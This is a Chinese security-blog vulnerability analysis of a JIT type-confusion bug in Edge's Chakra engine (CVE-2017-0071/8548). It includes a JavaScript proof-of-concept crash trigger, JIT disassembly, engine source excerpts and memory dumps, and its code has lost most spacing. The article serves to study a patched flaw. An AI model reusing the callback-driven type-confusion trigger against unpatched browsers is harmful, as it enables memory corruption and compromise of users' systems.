2017-11-24 15:01:08
阅读:1679次
点赞(0)
收藏
来源: 安全客
作者:Ox9A82
作者:Ox9A82
预估稿费:1000RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
简介
这是Microsoft Edge的javascript解析引擎Chakra的一个漏洞。这篇分析也是我这系列分析中的一部分,这一系列的漏洞虽然成因各有不同,但是我个人觉得在挖掘问题的思路上是一脉相承的。 这个漏洞与之前的几个相比比较特殊的是涉及到了代码的JIT,也就是发生了优化导致的问题。 此外这也是一个微软修了两次才修好的漏洞,韩国神童lokihardt第一次在16年12月经project zero上报了这个漏洞,编号为CVE-2017-0071。之后微软进行了错误的修补lokihardt在17年6月份再次上报了这个漏洞编号为CVE-2017-8548。
漏洞概况
lokihardt提供的POC如下
'usestrict'; functionfunc(a,b,c){ a[0]=1.2; b[0]=c; a[1]=2.2; a[0]=2.3023e-320; } functionmain(){ leta=[1.1,2.2]; letb=newUint32Array(100); for(leti=0;i<0x1000;i++) func(a,b,{});//<<----------REPLACED func(a,b,{valueOf:()=>{ a[0]={}; return0; }}); a[0].toString(); } main();执行POC后crash情况如下
returnMerge(FromObject(RecyclableObject::FromVar(var))); //其中var=0x1234,对0x1234转换RecyableObject导致crash 初步观察POC可以得知,func()被反复执行导致JIT,之后对JIT函数调用了用户定义的callback函数。漏洞调试
首先简化POC进行调试,简化后POC如下:
functionfunc(a,b,c){ a[0]=2.3023e-320; b[0]=c; a[0]=2.3023e-320; } leta=[1.1]; letb=newUint32Array(100); for(leti=0;i<0x1000;i++) func(a,b,{}); letfunc1=function() { a[0]={}; } func(a,b,{valueOf:func1}); a[0];crash发生在如下函数中,0x1234不满足TaggedInt和NoTaggedIntCheck因此会被当成对象指针进行RecyclableObject::FromVar(var)
__inlineValueTypeValueType::Merge(constJs::Varvar)const { usingnamespaceJs; Assert(var); if(TaggedInt::Is(var)) returnMerge(GetTaggedInt()); if(JavascriptNumber::Is_NoTaggedIntCheck(var)) { return Merge( (IsUninitialized()||IsLikelyInt())&&JavascriptNumber::IsInt32_NoChecks(var) ?GetInt(false) :ValueType::Float); } returnMerge(FromObject(RecyclableObject::FromVar(var))); }也就是说这里错误的把0x1234当作指针进行操作,在Chakra中发生这种情况一般都是类型混淆导致的。
JIT分析
首先通过调试获取POC中func函数JIT之后的代码片断如下
000001E5B5440172learax,[rsi-108890h]<===1 000001E5B5440179cmpqwordptr[r15],rax//checkvtable 000001E5B544017Cjne000001E5B5440498 000001E5B5440182testbyteptr[r15+18h],4 000001E5B5440187je000001E5B54404CE 000001E5B544018Dmovrax,qwordptr[r15+28h]//rax=segment 000001E5B5440191movecx,dwordptr[rax+4]//ecx=size 000001E5B5440194cmpecx,0//checksize 000001E5B5440197jle000001E5B54404E8 000001E5B544019Dmovsdxmm6,mmwordptr[rdi+2CB0h]//0x1234 000001E5B54401A6movsdmmwordptr[rax+18h],xmm6//a[0]=2.3023e-320 000001E5B54401ACmovrcx,r14 000001E5B54401AFshrrcx,30h 000001E5B54401B3jne000001E5B5440538 000001E5B54401B9cmpqwordptr[r14],rsi 000001E5B54401BCjne000001E5B5440538 000001E5B54401C2cmpdwordptr[r14+20h],0 000001E5B54401C7jle000001E5B5440556 000001E5B54401CDmovrsi,qwordptr[r14+38h] 000001E5B54401D1movrcx,r13 000001E5B54401D4movrdx,rcx 000001E5B54401D7shrrdx,30h 000001E5B54401DBcmprdx,1 000001E5B54401DFjne000001E5B544058A//JavascriptMath::ToInt32 000001E5B54401E5movecx,ecx 000001E5B54401E7movdwordptr[rsi],ecx 000001E5B54401E9movsdmmwordptr[rax+18h],xmm6 000001E5B54401EFmovrax,qwordptr[rbx-48168h] 000001E5B54401F6cmprax,qwordptr[rdi+400h] 000001E5B54401FDjne000001E5B54405F6 000001E5B5440203movrsi,qwordptr[r12+0E8h] 000001E5B544020Bmovrax,rsi 000001E5B544020Eshrrax,30h 000001E5B5440212jne000001E5B544064D 000001E5B5440218movrax,qwordptr[rsi+8] 000001E5B544021Ccmprax,rbx 000001E5B544021Fjne000001E5B5440669 000001E5B5440225movrcx,qwordptr[rsi+10h] 000001E5B5440229movrbx,qwordptr[rcx+8] 000001E5B544022Dmovrax,rbx 000001E5B5440230shrrax,30h 000001E5B5440234jne000001E5B54406ED 000001E5B544023Amovrax,qwordptr[rbx+8] 000001E5B544023Ecmprax,qwordptr[rdi+2B0h] 000001E5B5440245jne000001E5B54406C8 000001E5B544024Bmovrcx,qwordptr[rbx+10h] 000001E5B544024Fmovrsi,qwordptr[rcx+28h] 000001E5B5440253movrax,rsi 000001E5B5440256shrrax,30h 000001E5B544025Ajne000001E5B5440749 000001E5B5440260movrax,qwordptr[rsi+8] 000001E5B5440264cmprax,qwordptr[rdi] 000001E5B5440267jne000001E5B5440727在1处r15的值指向一个JavascriptNativeFloatArray对象。 JIT代码中首先会验证r15指向的对象是否是一个合法的JavascriptNativeFloatArray对象,方法就是通过比较虚表地址。之后取出Array中的Segment,验证Segment的size域来查看Segment能否容纳元素,之后直接写入新的元素0x1234。
000001E5B544019Dmovsdxmm6,mmwordptr[rdi+2CB0h]//0x1234 000001E5B54401A6movsdmmwordptr[rax+18h],xmm6//a[0]=2.3023e-320 在执行向Uint32Array写入时,因为poc中传递给func的参数是func1,因此它不属于TaggedInt 000001E5B54401D1movrcx,r13 000001E5B54401D4movrdx,rcx 000001E5B54401D7shrrdx,30h 000001E5B54401DBcmprdx,1 000001E5B54401DFjne000001E5B544058A//JavascriptMath::ToInt32因而会跳转到0x00001E5B544058A调用JavascriptMath::ToInt32试图做一个转化。 在这个函数过程中,用户定义的func1函数就会被执行,具体情况见下面。 在下面的调用栈中,000001fdd74905a7是JIT代码,JIT代码中经过上面说过的判断调用了JavascriptMath::ToInt32,而最后流程会执行到ExecuteImplicitCall去调用用户callback函数。
ThreadContext::ExecuteImplicitCall DynamicObject::CallToPrimitiveFunction DynamicObject::ToPrimitiveImpl DynamicObject::ToPrimitive JavascriptConversion::OrdinaryToPrimitive JavascriptConversion::MethodCallToPrimitive JavascriptConversion::ToPrimitive JavascriptConversion::ToInt32_Full JavascriptMath::ToInt32_Full JavascriptMath::ToInt32 000001fdd74905a7()我们在之前的漏洞分析中说过对JavascriptNativeFloatArray数组添加一个非float值(比如对象)会导致数组转化为JavascriptArray,比如poc中的用户callback:
letfunc1=function() { a[0]={}; }但是之前没有详细叙述过这个过程,这里描述一下数组类型转变的过程。
NativeFloatArray的转化
首先我们对JavascriptNativeFloatArray的赋值操作会调用到JavascriptNativeFloatArray::SetItem
BOOLJavascriptNativeFloatArray::SetItem(uint32index,Varvalue,PropertyOperationFlagsflags) { doubledValue; TypeIdtypeId=this->TrySetNativeFloatArrayItem(value,&dValue); if(typeId==TypeIds_NativeFloatArray) { this->SetItem(index,dValue); } else { this->DirectSetItemAt(index,value); } returnTRUE; }注意这个函数首先调用TrySetNativeFloatArrayItem。然后根据返回结果的Type_Id不同调用不同的赋值函数。 当返回的TypeId是NativeFloatArray时,调用JavascriptNativeFloatArray::SetItem 当返回的TypeId是JavascriptArray时,调用JavascriptArray::DirectSetItemAt<Var>
而负责判断值类型的函数JavascriptNativeFloatArray::TrySetNativeFloatArrayItem,当发现要设置的值不属于NativeFloatArray应该储存的范畴时,会进行转化,如下所示
TypeIdJavascriptNativeFloatArray::TrySetNativeFloatArrayItem(Varvalue,double*dValue) { if(TaggedInt::Is(value)) { *dValue=(double)TaggedInt::ToInt32(value); returnTypeIds_NativeFloatArray; } elseif(JavascriptNumber::Is_NoTaggedIntCheck(value)) { *dValue=JavascriptNumber::GetValue(value); returnTypeIds_NativeFloatArray; } JavascriptNativeFloatArray::ToVarArray(this);//<===转化 returnTypeIds_Array; }之后的操作包括转化Array中已有的元素、更改虚表、设置新的Type Object等。 这些操作具体是在JavascriptNativeFloatArray::ToVarArray的子函数JavascriptNativeFloatArray::ConvertToVarArray中实现的。
//转化Array中的元素 int32ival; doubledval=((SparseArraySegment<double>*)seg)->elements[i]; if(JavascriptNumber::TryGetInt32Value(dval,&ival)&&!TaggedInt::IsOverflow(ival)) { newSeg->elements[i]=TaggedInt::ToVarUnchecked(ival); } else { newSeg->elements[i]=JavascriptNumber::ToVarWithCheck(dval,scriptContext); } ... //设置新的TypeObject fArray->GetType()->SetTypeId(TypeIds_Array); ... //更改虚表 Assert(VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(fArray)); VirtualTableInfo<JavascriptArray>::SetVirtualTable(fArray); ...在进行转化前,Array内存如下
0x000001CA96B0066000007ffd6f13f150P?.o?... 0x000001CA96B00668000001ca96ad9140@????... 0x000001CA96B006700000000000000000........ 0x000001CA96B006780000000000010005........ 0x000001CA96B006800000000000000001........ 0x000001CA96B00688000001ca96b006a0?.???... 0x000001CA96B00690000001ca96b006a0?.???... 0x000001CA96B00698000001c2950489300?.??... 0x000001CA96B006A00000000100000000........ 0x000001CA96B006A80000000000000001........ 0x000001CA96B006B00000000000000000........ 0x000001CA96B006B800000000000012344.......可以看到0x000001CA96B00660为NativeFloatArray虚表,0x00001ca96ad9140是指向Type对象的指针,0x00001ca96b006a0为segement指针,segment的size和length皆为1。 在进行转化之后内存的内容变化如下:
0x000001CA96B0066000007ffd6f13e1d8??.o?... 0x000001CA96B00668000001ca96ad8fc0?????... 0x000001CA96B006700000000000000000........ 0x000001CA96B006780000000000010005........ 0x000001CA96B006800000000000000001........ 0x000001CA96B00688000001ca96b006a0?.???... 0x000001CA96B00690000001ca96b006a0?.???... 0x000001CA96B006980000000000000000........ 0x000001CA96B006A00000000100000000........ 0x000001CA96B006A80000000000000001........ 0x000001CA96B006B00000000000000000........ 0x000001CA96B006B8000001ca96b753e0?S???... 可以看到vtable、TypeId、element[0]都发生了改变,其中vtable是从JavascriptNativeFloatArray::vtable变成了JavascriptArray::vtable。对象的类型也从JavascriptNativeFloatArray变成JavascriptArray。 原来的Type对象如下所示,0x1f是原来的id值,对应的宏定义是TypeIds_NativeFloatArray 0x0000026AFD659140000000000000001f........ 0x0000026AFD6591480000026afd668000.f?j... 0x0000026AFD6591500000026afd67c000.?g?j... 0x0000026AFD65915800007ffd6e97d480??n?... 0x0000026AFD6591600000000000000000........ 0x0000026AFD6591680000026afd659100.?e?j... 0x0000026AFD6591700000000000000101........ 0x0000026AFD6591780000000000000000........ 0x0000026AFD65918000007ffd6f2ee9d0??.o?... 0x0000026AFD6591880000000000001d11........ 0x0000026AFD6591900000000000000001........ 0x0000026AFD6591980000026afd674000........新的Type对象如下所示,0x1f是新的id值,对应的宏定义是TypeIds_Array
0x0000026AFD658FC0000000000000001c........ 0x0000026AFD658FC80000026afd668000.f?j... 0x0000026AFD658FD00000026afd67c000.?g?j... 0x0000026AFD658FD800007ffd6e97d480??n?... 0x0000026AFD658FE00000000000000000........ 0x0000026AFD658FE80000026afd658f80?e?j... 0x0000026AFD658FF00000000000000101........ 0x0000026AFD658FF80000000000000000........ 0x0000026AFD65900000007ffd6f2ee9d0??.o?... 0x0000026AFD6590080000000000001d11........ 0x0000026AFD6590100000000000000001........ 0x0000026AFD6590180000026afd674000.@g?j...漏洞成因
我们回过头再来看一下JIT代码,其实可以分为三段。
functionfunc(a,b,c){ a[0]=2.3023e-320;//<===1 b[0]=c;//<===2 a[0]=2.3023e-320;//<===3 }第一段,对应于func中的1 代码首先验证Array的类型是否为JavascriptNativeArray,之后验证segement是否可以容纳元素,之后就是进行赋值
0000019DA4D7016Elearax,[rsi-108890h] 0000019DA4D70175cmpqwordptr[r15],rax//checkvtable 0000019DA4D70178jne0000019DA4D70494 0000019DA4D7017Etestbyteptr[r15+18h],4 0000019DA4D70183je0000019DA4D704CC 0000019DA4D70189movrax,qwordptr[r15+28h]//rax=segment 0000019DA4D7018Dmovecx,dwordptr[rax+4]//ecx=size 0000019DA4D70190cmpecx,0//checksize 0000019DA4D70193jle0000019DA4D704E6 0000019DA4D70199movsdxmm6,mmwordptr[rdi+2CC0h] 0000019DA4D701A2movsdmmwordptr[rax+18h],xmm6 0000019DA4D701A8movrcx,r14 0000019DA4D701ABshrrcx,30h 0000019DA4D701AFjne0000019DA4D70536 0000019DA4D701B5cmpqwordptr[r14],rsi 0000019DA4D701B8jne0000019DA4D70536 0000019DA4D701BEcmpdwordptr[r14+20h],0 0000019DA4D701C3jle0000019DA4D70550此时内存数据如下:
0x00000205F828066000007ffd6f13f150P?.o?... 0x00000205F828066800000205f8259140@?%?.... 0x00000205F82806700000000000000000........ 0x00000205F82806780000000000010005........ 0x00000205F82806800000000000000001........ 0x00000205F828068800000205f82806a0?.(?.... 0x00000205F828069000000205f82806a0?.(?.... 0x00000205F828069800000205f68189300???.... 0x00000205F82806A00000000100000000........ 0x00000205F82806A80000000000000001........ 0x00000205F82806B00000000000000000........ 0x00000205F82806B800000000000012344.......第二段,对应于func中的2 代码验证了值的类型,并调用JavascriptMath::ToInt32,注意正是这里调用了用户callback
0000019DA4D701C9movrsi,qwordptr[r14+38h] 0000019DA4D701CDmovrcx,r13 0000019DA4D701D0movrdx,rcx 0000019DA4D701D3shrrdx,30h 0000019DA4D701D7cmprdx,1 0000019DA4D701DBjne0000019DA4D70584 0000019DA4D704E6movdwordptr[rdi+2D84h],20000h 0000019DA4D704F0learcx,[rdi-831A8h] 0000019DA4D704F7movqwordptr[rdi+2DA0h],rcx 0000019DA4D704FEmovrcx,195A4AF60B8h 0000019DA4D70508movrax,7FFD74DBBF10h 0000019DA4D70512callrax//JavascriptMath::ToInt32 0000019DA4D70515jmp0000019DA4D7028B此时内存数据如下:
0x00000205F828066000007ffd6f13e1d8??.o?... 0x00000205F828066800000205f8258fc0??%?.... 0x00000205F82806700000000000000000........ 0x00000205F82806780000000000010005........ 0x00000205F82806800000000000000001........ 0x00000205F828068800000205f82806a0?.(?.... 0x00000205F828069000000205f82806a0?.(?.... 0x00000205F82806980000000000000000........ 0x00000205F82806A00000000100000000........ 0x00000205F82806A80000000000000001........ 0x00000205F82806B00000000000000000........ 0x00000205F82806B800000205f82f53e0?S/?....可以观察到此时vtable、Type Object指针已经改变,说明此对象已经成为JavascriptArray。 注意0x00000205F82806B8处的值已经由0x000000000001234变成0x0000205f82f53e0。 而0x0000205f82f53e0其实就是callback中赋予Array的对象,证明如下:
0x00000205F82F53E000007ffd6f13af00.?.o?... 0x00000205F82F53E800000205f825a180//TypeObject 0x00000205F825A180000000000000001b........//TypeIds_Object=27 0x00000205F825A18800000205f8268000.&?.... 0x00000205F825A19000000205f8244120A$?....第三段,对应于func中的3 此时执行第三次赋值操作,如果你仔细观察与第一段的区别可能就会意识到这个漏洞成因了。此时,在进行赋值操作前并没有对目标Array的类型和segment的属性做任何的验证,而是选择了直接赋值。这就执行导致了把0x1234这样一个对于JavascriptArray来说是完全非法的值(JavascriptArray中应储存TaggedInt或NoTaggedInt),从而造成了一个类型混淆。
0000019DA4D704E6movdwordptr[rdi+2D84h],20000h 0000019DA4D704F0learcx,[rdi-831A8h] 0000019DA4D704F7movqwordptr[rdi+2DA0h],rcx 0000019DA4D704FEmovrcx,195A4AF60B8h 0000019DA4D70508movrax,7FFD74DBBF10h 0000019DA4D70512callrax 0000019DA4D70515jmp0000019DA4D7028B总结一下,JIT代码生成的func函数时仅在第一次赋值前对目标Array进行了类型验证,这就导致了一旦在中途Array类型发生了改变,在第二赋值时就会发生类型混淆。 而在没有JIT的情况下,每次执行函数都由bytecode进行解释执行,调用相关的SetItem函数因而不会发生类型混淆。
参考链接
https://bugs.chromium.org/p/project-zero/issues/detail?id=1316&can=1&q=lokihardt%40google.com
https://github.com/Microsoft/ChakraCore/pull/2697/commits/ff21352270c174ea21606369432909fcb1d9a0e9
https://github.com/Microsoft/ChakraCore/pull/3166/commits/cd60f3b5c35592006caae7730760a7980857990c
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4751.html